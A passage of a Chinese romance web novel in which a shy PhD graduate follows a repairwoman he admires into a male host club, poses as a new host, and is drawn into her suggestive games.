院长是个好人,十多年前,他入学时,就听她在新生大会上发言。那时候很喜欢谈寒门再难出贵子,院长期望给同学们讲清楚这个事,她说难是难,可上升通道还没关闭,大家还有的是机会。
大家也没太懂,至少霍仪是不懂的,等到现今入职,霍仪想起与院长的初见,才明白院长对同学们的期许和心意。
霍仪又忽觉天高气爽地走出了报告厅的大门。
微热。
有风。
蓝天旷远。
霍仪走在穿过操场,离开校门的林荫路上,他看见一
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群年轻的女孩子在打篮球。
好有活力,好羡慕。
霍仪不会打篮球,从没参与过这种集体活动。
在高中,打篮球的体育生不揍他就算好了,霍仪对这种强对抗的运动有阴影,总认为玩它的人都是一群暴躁狂,无缘无故会对他发火。
上大学,同学们很友好,可霍仪深陷泥潭,很怕露怯,没去学会融入。
现在过去十年,是不一样的情绪。
霍仪能抱着欣赏的情态为赛场的人鼓掌。
短头发的女生,传球给另一个扎马尾的女生,女生穿了件白T,经典款的黑色工装裤,运球的同时,三步上篮,篮球被她轻而易举送进球框内。
——真厉害。
霍仪弯起唇角,像喝了一罐青柠柚子茶。
夏天的味道。
短发女生大笑着和马尾女生击掌。
另一组人员看马尾女生得了分,耸了耸肩,指着马尾女生,意思是下一场主要防她。
马尾女生回过头,霍仪定睛仔细瞧,多看几眼后,熟悉的轮廓让他知道,他没看错。
是李尤。
李尤来学校打球?!
霍仪畏畏缩缩藏进林荫里,找了个休息椅坐着,目光朝着篮球场。
李尤住附近?来X大的篮球场打球?
还是她在固定时间和球友约好?
都有可能。
霍仪赖着不走,用眼睛记录李尤的身影。
尽管这场球赛,另一组人主要防李尤,但李尤像冲锋陷阵的猎豹,弹跳力很强,在她们围追堵截中,把球送入篮筐。
霍仪看了,跟着惊心动魄,感觉自己也在被人围堵,运着球,找一条出路。
李尤找到了,霍仪觉得她超厉害,溢美之词,无以言表。
他动过念头,用手机记录一下李尤,立马打消了,这样太不尊重人,没有征求过别人同意就拍摄,只会让人感到冒犯和恶心。
如果霍仪被不经过同意的人拍摄,霍仪也会觉得生气。
他看看就好了。
能看到就是今天的幸运。
霍仪看了四十分钟,做研究做习惯了,免不了自动用脑子分析,霍仪觉得篮球也是策略游戏,怎么把球投入篮中所做的一系列选择。
李尤也可能享受游走在危机情况,如何做出胜利决策的快感。
快到晚饭的钟点。
女孩子们陆陆续续收拾球场上搭着的衣服,有两个还背上书包,招了手,往食堂走。
李尤和短发女孩子送别一群人,像是临时组的,李尤再和短发女一齐走出最近的校门。
两个女生嫌热,把短袖扎到最高,露出光洁结实的臂膀,无袖背心似的穿着。周围有提着外卖路过的同学,对她们的装扮觊一眼。
二人都不太在乎,我行我素。
霍仪不知道自己要不要跟上,但看李尤走远,霍仪还是咬咬牙,跟了上去。
5. 第 5 章
小岳走了,李尤待在原地。
霍仪没想过李尤会停下来不走,就站在校门口的垃圾桶旁边抽烟。
霍仪慌了,生怕李尤一个回头,注意到他。
那会儿,就不好解释了。
怎么看,他像跟踪狂。
霍仪真想在地上变成土拨鼠,刨个坑把自己埋起来。
他侧着身躲,又不敢出门。
霍仪注意到保安大叔的眼神不善。
是李尤作为年轻女孩,还在大门口的垃圾桶旁抽烟的缘故。
学校,哪怕是大学,对有“坏”习惯的学生持避讳的态度。
霍仪认为李尤是很乖很好的女孩子,她没把烟灰抖落在地,而是就近在垃圾桶旁抽烟,为了方便抖烟灰的时候抖进垃圾桶。
她没给环卫工人造成麻烦。
导师和院长还有刘老师她们也抽烟,在早大,很多师兄烦的时候也抽,他们可没把烟灰专门抖在垃圾桶里。
可是路人会到吸二手烟,李尤讲究,又不讲究的样子。
李尤活得很别致。
霍仪无法揣测的别致。
-
李尤不太想回家。
磨磨蹭蹭地想,要不要去潇洒一把。
双亲在老家,过的是小日子,家庭氛围不错,从没要求李尤打钱回家,过年还会给李尤压岁红包。
李尤属于自己赚钱自己花那类人,但她娱乐爱好不多,不买首饰不买化妆品,衣服有个穿就行,花些小钱在温饱和抽烟上,身边没男朋友。
激素来了的时候,会有点生理需求和心理需求。
李尤和前男友分手后,便图方便,习惯在会所找男模,补充荷尔蒙。
会所就开在X大附近的商业广场上面,敢明目张胆开在商场五楼,靠近电影院,就是仗着自己是很正经的会所。
招牌项目上写的娱乐服务,最开始写得花里胡哨,会员分级制,不知道名称是什么意思。后来好像是片警查过了,要求把服务项目写的非常明确,在括号里注明:SPA,中医按摩,桌游,KTV,酒水服务。
还挺好笑的。
距离X大和某个职业学校近,能从大学雇佣一些想做兼职的男大做技师,也会有被亲个脸蛋,身体接触的时刻。
今年推出了一日男友地陪项目,考了导游证的服务生,可以跟着富姐自驾出去玩。那些事就不在会所管辖范围内,会所写明了禁止向顾客索要礼物,私下交易。
老板还不想店面被举报,确实有那种人,往往是三十多岁顶着大肚皮的中年男,把他恨惨了,说自己老婆来玩过,回家老婆不认。
有段时间,片警经常来调查,观感不好,老板便力求合乎法规,还找了以前认的干姐姐帮他,后面片警来的趟数少了。
做这种行当,还是要有点门路才能立足。老板也学乖了,连开展新业务都要求员工持有导游证,去挂靠成功了的那种证。
他本来也没做什么大不了的事,单纯给下班的工薪女性提供温暖的情绪服务。
不是风俗店。
李尤想来玩,主要还是心思被勾起来了,李尤抽着烟,想起月初见着的那位客人,透视装,欲露不露,勾得她心痒难耐。
那会儿忙,没空想别的,618后,单子又爆了,洗空调加氟装外机的人特别多,李尤和老师忙得脚不沾地。
这会儿才清闲。
烟头杵灭后,李尤插着兜,还是决定去一趟。忙里忙外挣了钱,还是该去会所快活一把。
但是先得去吃个饭。
这会儿会所门还没开。
-
霍仪松了口气,李尤走了。
李尤是个有风格的人,步子迈得大,清晰地知道自己想要什么,很潇洒。
霍仪反倒忸忸怩怩,担心出门碰到没走远的李尤。
到了校门口,霍仪背过身去另一个方向,准备买点菜回家做饭。
在超市逛了很久,霍仪挑来拣去,有平淡的快乐感。他买了一套漂亮的餐具,新的凉拖,屯了一件酸奶,几种时蔬。
机器平台上结账时,霍仪发呆往远处望,又看见了熟悉的身影,李尤从一楼的快餐店走出,朝着超市门口走来。
霍仪想都没想,蹲下身躲了起来。
周围的人对他注目,连账都没结账,霍仪蹲着闪进最近的货架里,生怕李尤看见他的身影。
他没必要躲,明明是他先在超市买菜,但李尤走过来的那瞬间,霍仪不知道怎么就不想被她注意上,恐惧和她对视,打招呼的那一瞬间。
倏地,躲了起来。
实际上出去寒暄一下,说不定,还可以在李尤面前刷刷脸。
可是霍仪反射性地躲了起来。
他想通了,大着胆子混个脸熟,便随意拿了个商品走出去,一望,李尤已经不见了。
她只买了一样东西,漱口水,结了账便去卫生间。
霍仪匆忙结了账。
-
李尤推开会所的门,发现今天在做活动,所有人都带着半截面具,玩假面舞会。
李尤来得不算频繁,但还是有人把她认出来。
“尤姐,今天是一个人来玩么?”
老板摘下了面具,会做生意的人就是这样,不会因为顾客花的是小钱,而给脸色,无论是什么样的客人,只要肯来消费,老板都是一个态度。
李尤也带朋友来玩,宋湘比她来的勤。
李尤点了头,看了圈四周,想找经常点的男孩子。
“小轩不在么?”
老板移挪了下眼珠,“今天有课。没来。”
李尤又想算了,估计高轩被客人点走了,老板不方便明说。
她转身想走,连“下次再来”都没说,准备推门。
老板立马欺身上前,挡住门,把自己塞在李尤和门的缝隙间。老板年纪偏大,三十往上走,但保养得当,眼眉狭长,狐狸眼,还有颗泪痣,点在颧骨上,行事很圆滑。
“怎么,小轩不在,就走?”李尤基本月月来一次,接触多了,老板同她熟络。
李尤点头。
“今天哥这里做活动,办“魅影”系列。我陪你好不好?”
李尤脑子里划过:他想享什么清福?她是来消遣的,不是来被人消遣的。
不难看出老板的心思。
但李尤向来喜欢年纪小,清纯的,哪怕装出来的清纯,也可以接受。
她始终贯彻男的还是玩纯的比较好。
老板的手指划在虚空,若有似无划过李尤耳畔的发丝,没碰上耳廓。
很多客人不喜欢男人太主动进行身体接触,把握好分寸极为重要。
其实老板明白,那就是看人,喜欢的恨不得脱光了抱着咬,不喜欢的碰一下手指头都嫌脏。
李尤冷着脸,把他手指捉住,老板跟煮开的水般,绽放俊朗的笑靥。
喜欢?
李尤把他手甩下。
老板有一瞬间下脸:看吧,这就是不喜欢,嫌脏。
但老板还是哄李尤,“尤姐,别这么无情嘛。你留这,我叫四五个新来的弟弟陪你,给你唱歌,你就当今天给我捧个人场。收你和见小轩一样的钱,你帮哥好好看看,哪些弟弟有留下来发展的潜力,喜欢的风格,哥就帮你留下,这样以后多来找他们玩。”
李尤耷拉着眼皮,思忖,想到一次八百玩五个,又是新鲜的没见过的样式,就留了下来。
老板嘿嘿地笑了,给李尤开了个小包间,还送了李尤一个小时。
说是点四五个,四个里面还不能加他一个?
他忙完了,抽空去一趟,那不就是五个了。
老板被李尤点过一次。
李尤来的第一次就是点的他,老板不常让人点。但李尤,光是看气质,就觉得这女人气质很特别,齐刘海,头发黑得像旋涡,看侧脸像背个书包在学校认真听课的文静女孩。
眼神却老道,插着个兜,抬眼便冷辣,无论什么人,死活都管不了她的危险和野性。
狼。
他打第一眼就觉得她像撕扯猎物皮肉的独狼。
那种嗜血性,老板一眼就稀罕上了,毛遂自荐了自己,想做知心大哥哥带着李尤玩,问问李尤这么早就开悟来找男模。
是为什么?有什么心事么?
然后他就被知心了。
最开始陪着李尤喝酒,给她唱歌,说些好听的话。李尤玩起了手机,也不管除她以外人的脸色,撂下陪酒人的尴尬,她就是一种不管人死活的无所谓。
由于是老板,自然不希望服务不妥当,寻求改进,当场就问她,“妹妹,我让你无聊了么?手机有我好
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看?”
老板要用手遮李尤手机屏,李尤撤回手,挡了下来。
她摇头,指了门:“没有太无聊。你出去吧。”
没有太无聊?那就是无聊。
老板一听气上来了,还以为是小姑娘故意来找茬,他魅力不大么?在北京酒吧做地下歌手时,好些姐啊姨啊,XN杂志的中华区总裁,红三代的京圈大小姐,上市公司的老总,G电的领导,都说他有才华,要包养他,跟他过一辈子,他魅力不大?
李尤竟敢说无聊。
老板闷着气说:“妹妹,怎么做让你不无聊呀?”
李尤从手机上挪开,眼神放在地毯上,刺了句我以为能玩得很开才来。
老板还是上道,单膝跪了下来,捏着拳头,给李尤敲了腿,老板欺得很近,呵气在李尤耳畔问:“这次满意了么?”
李尤点了头。
老板捏肩,锤腿,然后装萌卖傻逗了李尤,他知道李尤喜欢在上位,是这个癖好。最后老板还变小猫,将脑袋枕在李尤膝盖上撒娇,让李尤摸他头,捏他的耳朵玩,做尽低伏。
李尤走的时候,很轻松,办了最低档的会员,先试试服务。
下次再来的时候,老板想自己去伺候李尤。
他偷偷想给李尤送福利,李尤的手修长好看,开个躺着按摩的包间,他就给李尤跳个脱衣小骚/舞,让她摸摸腹肌,把她蛊着多来看看他之类。
李尤喜欢的模式正好也是老板喜欢的,可能是被姐姐们玩多了,老板摆脱不了那种喜好。
但也不敢乱去找人,他比谁都清楚圈子很乱,娱乐圈不管认不认就是个看着光鲜的服务业,大大小小都需要给人陪酒,有几个姨姨姐姐玩一个,给人玩不行了进医院,有玩死玩残爆出来封杀新闻。
李尤不是那种圈子,很生疏,应该只是点小爱好。
登记会员时,写了她年龄,才二十一,好纯爱的年纪,碰他的时候,还有一股说不上来的疼爱感。老板一下就迷上了,如果是李尤的话,会心疼人吧,就算他去赚钱养她,当她的ATM奴,她去读书旅游都可以。
结果李尤不点他了,看了一圈介绍的电子屏,选了个刚入行的男生。
刚满十八,清秀,腼腆,脸皮薄,和人说话都说不利索,不会哄人,没啥人点他服务。这种人在老板眼里就是笨,命定死了,又不会读书,逼紧了,没才能,脑子发热想走捷径。
高轩还没开过张,老板还不想亏个基本工资,只好给李尤点上了。
后面李尤就只找这个男生,小轩也慢慢学会服务的要点,下班做些可爱的小曲奇甜点,送给顾客暖心暖胃,有多富姐阿姨吃他这种居家型的小男生。
小轩下海是为了尿毒症的家人每周透析,一片孝心,老板给他找很多活,还提点他,别跟某些男的学坏了,绝对不许赌,不许去什么地下rap,要是富家小姐说包养他,带他走,跟他结婚,千万别信,女人的嘴都不管用,好些结婚的网红还不是出来玩。
更需要注意的是别被带去抽什么玩,抽烟也不行。
会所里面禁止员工吸烟,逮着一个罚三千,累进制,第二次罚六千,超过三次,辞退。
男色行业嘛,自身素养还是要保持好,身上臭臭的,败坏所风。
他这里不缺小帅哥入行做。
老板正回忆着,打算再接几个客人就去换身衣裳,门开了,走进来一个还不错的男人。
老板眼尖,雄竞心理特别严重,上下给进门的男人打量完了,连头发丝都要锐评。
男人穿得正式,装得很贵,剪了个年轻日式碎发装嫩,模样是扎眼的俊朗,轮廓墨水勾勒般浓重,剑眉星目,领扣扣得紧,“故作”知识分子的禁欲风,但是掩盖不了身上的风尘味很重。
腿长,腰细,屁股挺翘,胸肌大,这四样一叠加,性张力拉满。
很像拍过片,slik系列吧。
开门抬头那瞬间,跟演戏似的,半垂着眼眉抬起,还有种闯入禁地的迷茫,给老板在厅内等人的女客看得眼睛发亮。
店里没有过的类型,客人的信号立马释放出来。
——姐要点他!点他!
老板不是很乐意,忮忌比他有韵味的熟男。太抢风头了,给他评89分,扣11分是因为这男的好装。
手腕还带机械手表。
6. 第 6 章
李尤直接进去了。
好像来过很多次。
霍仪在门口看了店铺的活动宣传牌,做SPA按摩的地方,为什么要假面舞会,还有参加活动费,直觉告诉他这地方不同寻常。
李尤好像要出来,霍仪赶紧转身,装作自己没来过,走到空中阁楼对面,等了一会儿,李尤没出来,好像是□□前台的男人留住了。
霍仪疑惑了很久,还是进了门。
进门刹那,灯光晦暗,大厅主用冷光,放的是布鲁斯爵士音乐,天花板顶飘下旋转的镭射光,霍仪看着满屋子的女性和男性,有女士抱着年轻男孩在跳舞,好几个戴半面面具的男性坐在女性身旁,捧着酒杯,不明意味地讨好。
霍仪便唰地脸红,因为学姐说他穿衣风格的事,他去网上搜索过男模,知道自己来错地方了。
李尤……李尤来这里应该谈生意吧,比如看看水管爆裂之类,需要维修。
但霍仪从老板警惕的眼神中看出不是那么回事。
老板对他口气很不好,很谨慎地问;“来面试还是来找人?是不是来错地方了,我们这里是服务女性的场所。”
霍仪彻底明白,抿着唇,半天没吱声。
稍后,他说:“面试。”
“你叫什么名字?发照片给我没有?我今天忙,记不大清。”
霍仪随意说了个平台,不敢说多了,手插回兜内,怕老板看出他指尖颤抖。
嗅到他身上的香水,老板也不怀疑,警察私服没这么细致,应该是做过这一行的才懂得喷香水。
还打扮得像个投行精英,肯定是想提价。
老板招招手,指了指换衣间,打算同新来的讲清楚。
-
霍仪戴好了面具,很少骗人。
老板问名字时,霍仪窘迫地说了真名,还给老板看了眼身份证。
老板似乎对他三十的年龄有意见,带着鄙夷地口气说:“三十了啊,看着也不年轻了。今天先试试岗,叫一位客人给你开瓶酒,就可以留下。不难吧。”
霍仪硬着头皮点了头。
很冲动了,很想逃走,但是拒绝性地逃走比忍耐坚持下去,对于霍仪更困难。他像那种被陷阱钳口辖制的动物,一旦被捕,只能乖乖等着猎人验收。
自己受难的时候往往容易忍受,相反,如果涉及别人,比如保护母亲和她人,霍仪会变得相对勇敢。
他当时太想知道李尤进会所做什么,才做错了决定。
现在后悔得想死。
还被迫穿上别人穿过的衣物。
老板要求霍仪穿上更薄透的白衬衣,霍仪摸了一下,透过衣物,手指头都能看清。
这还不得漏点。
他穿衬衫必须穿白背心,一是怕漏点,二是怕流汗有异味,三是怕凸点。
霍仪担心会所的衣服没洗过,什么人都穿,容易过敏,他还是穿的之前汇报时的衬衣,戴好遮住眉骨的羽毛假面。
霍仪走出换衣间,还在想,买的菜寄存在超市,别忘了,回去的时候拿走。
他跟着老板进了一个包间,老板说:“给你安排的好客人,你们新来的,就陪陪她算了。我跟你说的那几条记住了么?一般我们要培训半个月才上包间服务,今天忙,你先顶上去。这个客人要求不多,也不需要你特别会技术,说点甜言蜜语哄她开心就好了。等会她走了,再安排你换班。你去另外的客人那里开酒。”
霍仪连连颔首,打算等老板走了,找机会溜出去找李尤。
他打开包厢厚重的门,是李尤。
-
坐在沙发正中间的人,是李尤。
有个桃花眼的金发潮男在给李尤揉肩,他戴了黑耳钉,靠李尤很近,坐在左侧上方,单膝跪在沙发。
还有一个坐在吧台的旋转椅上,剃了短粗的发,含情脉脉看着李尤,给她唱情歌。
右边坐着一个低眉顺眼的,和霍仪撞型,也是日式碎发清爽型的俊逸,在给李尤调酒,业务不太熟悉,气泡散了。
霍仪愣在门口,怔了好一阵。
心里发酸,好像知道自己喜欢错了人。
李尤没问他为什么在门口站着。
她拿了茶几上的烟盒,倒出一根,她左右看了圈男生,问:“介意我抽根烟么?”
嗓音冷得像冬泉,温柔醇厚,又清冷。
烫染金发的男生立马笑了,说:“不介意。姐,你不用考虑我们。”
金发男生拿出茶几下的火机给李尤点,凑得近,玩一些暧昧手段,像是亲在李尤脸侧。
李尤没说什么,瞥了他一眼,但是任由他这么做。
金发男生又屈膝半跪在地毯上,像撒娇的金渐层,给李尤按腿,他问:“姐,今天晚上想怎么玩?剧本杀店里有一些,我去把菜单拿过来?”
“不喜欢。”
“那打牌么?我们三个玩斗地主。”金发男自动把傻站着的霍仪排除在外。
“嗯。”
金发男出去拿扑克牌。
霍仪看位置空了出来,也不知道规矩,闭着腿,坐在李尤旁边。
他猜李尤应该认不出他。
李尤都不拿正眼看过他,他们也没见几次,李尤应当认不出来,而且这里灯光晦暗,轮廓看不清楚。
有男生递了酒给李尤,李尤接过来,抿了一口。
包间内其余两个男生比霍仪早来一天,宋哥会所的规矩,混两个场,就懂了。他们都不动声色盯了坐在李尤身旁的霍仪一眼,霍仪把程哥的位置抢了。
一起下楼抽烟的哥哥说过:顾客身旁的位置最好不要乱坐,有的位置是顾客钦点她喜欢的去陪酒,有的是会所里的老人,还有就是前来后到的规矩。见人不要从衣着上评判,有的姐姐姨姨穿的风格不是他们能理解,但心意特别大方。
干这行,若是又争又抢,混不长久。
霍仪给他们上了一课,其余两个男生现在明白:什么叫做又争又抢。
霍仪不知道为李尤做什么,也不敢说话,怕被认出来,便学着黄发男给李尤揉肩。
他摸上李尤的肩膀,很轻地揉,他请过两年的私教,舒张肩胛筋膜的手法同专业人士学过,比黄发男更让李尤舒服。
揉了一会儿肩颈,李尤发现身后这位是真在给她按摩,李尤捉住了他的手。
霍仪心一下跳楼机般怦怦地响动。
李尤第一次碰他。
李尤回过头,盯着霍仪的下巴,霍仪下巴那里有颗小痣,李尤说:“哥,你胸顶着我了。”
如果不是光线过暗,又偏蓝调,霍仪会被人看出,像气球般,被李尤一句话爆破了。
他傻乎乎地点头,挪开了胸膛。
周围两个男生都笑了。
不约而同地想:这男的心机太深了。年龄大的就是不一样。
但是,很快笑不出来,李尤搂了熟男的腰,她偏了头,在霍仪胸膛闻了一下,道了句好香。
李尤的掌心发烫,贴在霍仪侧腰,好像在丈量霍仪的腰有多细。
霍仪的腰堪比烧红的锅,脊骨被抽走了,一瞬间泄了气,被李尤玩傻了似的,愣在原地,垂头,耳垂快滴出血渍。
金发男生拿了扑克牌又回来了,眼见自己位置被霍仪抢了
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,正要发作,李尤说:“你们出去吧,给宋老板说不用再来人了。我今天晚上和他喝点酒,唱个歌就行了。”
“可是,宋哥说让我们好好服务姐姐你……”金发男生委屈。
李尤不喜欢以弱逞强,她都说了不需要,是没听懂她的话,搬出宋老板几个意思?
多的话,李尤一句不说,沉默地,把金发男生撂着,其余两个男生只好放下话筒,递给霍仪,拍了下金发男生的肩膀出了门。
金发男生讨厌霍仪,恨得咬牙,关上隔音门就开骂。
“什么几吧玩意儿,贱人一个,装的纯,哪有他这么抢单的。我才离开几分钟,就吹耳边风了。”
和霍仪撞型那个说:“生面孔,估计是下午才来的。”
“一坐下就勾上这个姐姐了。应该干这行很久了吧。包骚的,还拿胸顶那个姐。”
撞型那个看了眼自己的小身板:“胸大的是不一样。我们要不要也练练?”
“长得倒是帅。”金发男生想起那张脸,“但鼻子肯定垫了。唇也微调了吧,我看他做的微笑唇。老项目了。”
三个男生一边聊,一边走去老板办公室,同宋哥告状。
一般叫五人场的客人出手肯定阔绰,点的服务也多,他们错过开大单的机会。不过宋哥也提过,不许找李尤开酒,宋哥也没说为什么不许。他们想过是宋哥的老朋友,可人又年轻,也不像是宋哥依托的姐姐们,家庭背景应该不方便说。
霍仪对烟味敏感,李尤见着就把杵烟灭了。
她没有烟瘾,偶尔抽一根,看心情,有些时候一个月都不抽一根,把烟盒留在身上。主要是要给师父和几个五金店的老板,常去小区的保安,还有遇见同行打点一下。
她做的行业,男人也很多,某些时候,不得不在男性占据主导的框架做一些妥协。
霍仪些微情动,李尤好照顾人。
霍仪掏出手机,点开他的备忘录打字。
【没事。你抽。】
李尤歪了头,“你怎么不讲话?”
霍仪抿了下唇,和李尤僵了十几秒,李尤也没有着急他开口,等他说下一句话。
霍仪对李尤的好感只增不减,就算她找男模,但她尊重人。
他抿着上扬的唇,在手机上敲打,也没有骗李尤。
【不想讲话,可以么?】
李尤点了头说:“行。”
她又问:“有花名么?”
霍仪打出:【霍意】两个字。
李尤看着霍意的气质,比她大是肯定的,也不能叫他小霍。
可李尤还是叫了,“小霍。”
霍仪微微启唇,露出老实腼腆的笑容。
李尤也笑。
挺乖的嘛。
今天晚上来对了,很喜欢这种新口味。
李尤丝毫不在意霍意能不能讲话,不讲话的男人更讨人喜欢,太聒噪的男人,她是真的烦,男人嘴里也冒不出什么好话,要么当爹,要么当儿子。
无论是哪种,都让李尤想给他一大嘴巴子。
比如金发男生就这样,在李尤面前自作聪明,圆滑世故的讨好。如果不是对方没上几天职,要是其他人,李尤早就劝退,叫人出去。
不必浪费时间。
霍仪开始给李尤按腿,他好像很开心,一直含着笑。
“今天晚上怎么玩?”李尤问霍仪,霍仪一直低着头,李尤很自然地挑起他的下巴。
挑起下巴那一瞬,李尤也注意到手上动作不对劲。
她怎么就顺势挑起霍仪下巴?
霍仪给她这种信号了?
7. 第 7 章
霍仪低下头去打字。
李尤盯着他的发旋,懂了,霍仪的确给了她这种信号。
霍仪扬起手机:【你决定吧。我不太懂。】
果然。
他释放了信号。
李尤含着笑,指腹轻轻摩擦过霍仪的下巴窝,食指往上,李尤想揭下霍仪的面具,霍仪忙不迭将面具按住,偏了头。
李尤的指尖落空,滞留在半空。
她静静盯着霍仪不解。
霍仪又打字:【能不能不揭下?】
“给摸不给看?”有点吊胃口,李尤笑着打趣,“老板管这么严?”
霍仪不太想骗李尤,他怕暴露,肯定不能让李尤看见正脸。
骗还是好骗,长了颗痘痘就遮掩过去了,但霍仪有原则,不想说谎骗李尤。
他轻摇脑袋,装哑巴。
李尤只好笑了,拧着霍仪的下巴晃了晃,宠着说好吧。
她能接受,一些男人爱玩的小手段,不露正脸,保持神秘感和吸引力。
这样勾着李尤不上不下,下次还能来点他,增加业绩。
新人嘛,刚入行,是有些业绩压力。
打过工的都能相互体谅。
霍仪松了口气,幸好李尤没有逼迫他,刚才李尤那个动作把他心脏都提到嗓子眼,突突地跳。
李尤没再说话,在手机APP上点了个歌让音响播放。包间内的镭射灯缓慢旋转,她又歪着头,躺回沙发,就当真的在做SPA。
会所里有SPA项目,不过李尤不喜欢在家之外的地方淋浴,让男的手在身上乱按,太不受控了,她会毛骨悚然。
她很讲究私密性,也很喜欢控制。
她来会所都是开包间,除了和宋湘一起的时候,消费高些,其余都是点小轩一个人,她只喜欢和小轩玩。
霍仪继续给李尤按肩,霍仪也不知道要按到什么程度,肩背这些地方也照顾到了。李尤肩背肌肉紧张,肌块几乎拧到一块,应当是干活发力比较多的原因。
霍仪情绪渐渐稳定,他发现好像待在李尤身边,他特别容易平静,内酚酞分泌很多的宁静。
霍仪专心给李尤按摩,李尤干脆趴进沙发。
她撑着半个下巴,睨一眼“霍意”,问:“你才入行?”
霍仪点头。
李尤:“嗯。感觉你也没接多少客人。我是你接过的第几个客人?”
霍仪双颊染出绯色红霞,比了个数字一。
李尤呶呶嘴,不可置否地点头。
显然不信。
李尤勾勾手指,眼眸有狡黠的精光,霍仪便低下头,期间不免担心李尤会摘下他的面具,浅浅地用手想扶住面具。
李尤没动他面具,捧着他后脑勺拉近,悄悄凑近霍仪耳畔说:“喂……你,讨我开心还是说真的?我可不好骗哦。”
李尤说不好骗的时候,霍仪心动得厉害,无以复加,情绪太激烈,眼睛氤氲出渺然懵懂的雾气。
霍仪盯着李尤的唇,殷红的唇翕动,几乎贴在霍仪耳垂,提醒他:“想好再说。这决定了我下次来不来找你。”
霍仪的耳垂好像擦到李尤的唇,又很不确定,也像是她唇里呵出的热气。
霍仪忙移开脸,急于表忠心,他转身伸手臂拿手机,全程膝盖跪着,为了把手机勾到,秉直了腰肢。
衬衫往上,从皮带里跳出,露了一小片薄薄白皙的腰肉。
转身回头,李尤的眼神变得沉暗。
霍仪理解不到那层意思,继续打字。
【真的,你是第一个。我今晚才来上班,什么都不熟悉。】
霍仪为了表达最大的真诚,什么都同李尤讲。
【你别不信。】
【我连卫生间在哪都不知道。】
看了屏幕的字,李尤噗嗤笑了。
霍仪不理解,李尤为什么笑,李尤点点霍仪的羽毛面具,塑料的,指头点上去很响动。
李尤说:笨。
霍仪只好点头,青春期的时候,有很多女孩也说他傻傻的。他认为他只是呆了点,他未能涉入的事,没习得经验,自然表现得呆愣。
他的确不是天赋型选手。世界上的能人太多,16岁进中科院,25岁拿杰青的都有,沙砾般,过江之鲫,鲤跃龙门不少也不多。他不算什么,靠选择和努力做到自己最好人生的成果了。
大学同学们,估计没人想过他能去早大读书,能毕业,拿到博士学位。
霍仪按了一会儿,空调温度好像调高了。
李尤无意识地把短袖卷起来,这是她无意识的小动作,干活,热,她也喜欢把袖子扎上去,卷成无袖背心的样式。
李尤的肱二头肌很成型,有明显线条,没专门练过,提工具多了,自然就是这样了。她工具挺重的,光是装冲击钻的那个箱子,就有十来多斤,冲击钻不重,就是不同规格的批头太多了。
上大学,她还是个偏瘦的姑娘,一百一十斤上下,做了维修工,体力消耗大,每天中午在外面吃得多,就长了十来斤。
霍仪以为是要按手臂的信号,把李尤手臂握住,给按上了。
李尤不让霍仪按了,撑起身坐着,霍仪歪着头,眼神茫然疑惑,像狗狗探头的表情,好像在问怎么了?
李尤拍拍身旁沙发,叫“霍意”坐在她身旁。
“又不唱歌,两个人又玩不了牌,你想给我按一晚上腿么?”
霍仪愣愣摇头,捧着手机打字:【你说怎么玩?我都听你的。】
【我不会玩。你别嫌弃我就行。】
霍仪就差把“下一次还点我”写脸上。
李尤摸了下霍仪的头发,微笑说:“不嫌弃。我带你玩点新鲜的?”
霍仪忡愣望着李尤,李尤眼睛是笑着的。但沉如黑夜,有一点精妙的亮光。霍仪一跌进去,像失重落进太空,恐惧的黑暗海水蔓延过他的身躯,喉骨,下颌,鼻孔,眼珠,快窒息了。
危险。
不知道要怎么玩,但绝对会过界。
不然,李尤不会说出我带你玩,带着玩,一定是常人不会玩的。
李尤的提议很危险。
霍仪那点小动物规避风险的警觉出现了。
可霍仪还是点了头。
有些时候,人就是会做坏的决定,人会明知山有虎偏向虎山行,明知不可为而为之。霍仪做了太多好决定,才拿到文化精英的身份,好决定必然偏向某个价值标准。
霍仪只有高中和博士期间想死自杀的时候,才做了超出规范的坏决定。他真的很难说拒绝,拒绝上学,拒绝写作业,拒绝霸凌,哪怕高中尘封在箱子里上锁了,他也只学会了规避风险,提前逃避坏的人和坏的灾难。
如果已经身处坏环境中,他只能承受。不想承受,决心拒绝灾难,就是鱼死网破。
所以家人不太理解一个循规蹈矩的好孩子要闹自杀的原因也在这。
好久没做坏决定,霍仪意识到这可能是坏决定。
但还好吧……也不知道是什么,
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不一定坏。
霍仪劝自己,还可以逃跑。
如果李尤要对他做什么,他就跑掉。
跑得远远的跑掉。
-
李尤出去了一趟,回来的时候,老板跟来了,黑着脸,忌恨霍仪地探一眼。
李尤抱着手臂,俯视般看老板。
宋老板不想李尤玩得太开心,嗓音古怪得像骷髅头里冒出毒气泡泡的嗝:“对我的人好点。”
宋老板咬紧腮帮子,还是走了。
爸的,小程来给他告状,他还不信。
还真让他搭上李尤了,姓霍这小子还茫然看他,玩的好一手纯欲风。
李尤抱着一个粉色礼盒进来,把门阖紧,动作很轻,轻到怕吓飞路旁啄食麻雀的轻。她对这里很熟悉,不用眼看,反手把门锁扣旋扭九十度。
彷佛不希望人打扰。
李尤说:“你陪我玩这个,我等会给你加三倍的钱。不会很出格。”
李尤提要求不在乎对方是否多想,反正她提了,同意拒绝是别人的事。
霍仪口干,紧张,拿着桌上的白水咕噜咕噜灌下一整杯。
没敢提前点头。
霍仪有股纯然未知的劲儿,在这种场合连荤的,素的,都不知道提前问。
李尤看他纯,才想和他玩,别的人,李尤懒得搭理。
礼盒打开,是有弹性的麻绳,几股编织而成,白色混了点淡粉,这是李尤寄存在小轩的东西。
“可以玩这个么?”李尤打着圈甩着绳索,最后一次问。
霍仪不知道。
李尤为什么是这样的?
说不上来后悔,又有些后悔跟进来?
但他还是没摇头,没点头,也没颤颤巍巍说要走,就坐在沙发上,用无辜的眼神看李尤,把选择权交给李尤。
霍仪真的不擅长拒绝,只是学会规避了风险。
李尤看他没摇头,在她的理解里,便是都可以的意思,如果别人将选择权交给她,那么就往她喜欢的方向可以,按她的心意来。
她站在霍意身旁,这次抬起霍意的下巴,周祥地打量他。
虽然看不见颧骨往上的轮廓,眼眸的形状也被羽毛面具遮掩。
但霍意整体的形象是偏异性性特征强烈的帅气,这点不同于小轩,小轩偏柔和,未长开的少男气息很重,脸部线条偏柔和,这让点他的人少了。
男模还是要性张力强一些才吃得开。
霍意就属于能吃得开的类型,骨相锋锐的俊美,眼眉狭长,唇是柳叶般单薄的一片,喉结也足够鼓起,脖颈修长细腻,肩膀宽,胸肌硕大,腰也细,如果不说话,很有侵略性,符合大多数人对阳刚气质的定义。
可是他说话的神态冲淡了那股气质,偏头的时候更甚,故意露出无暇纯洁的雪地,引得人想将手握上去采撷。
通往金山上的雪。
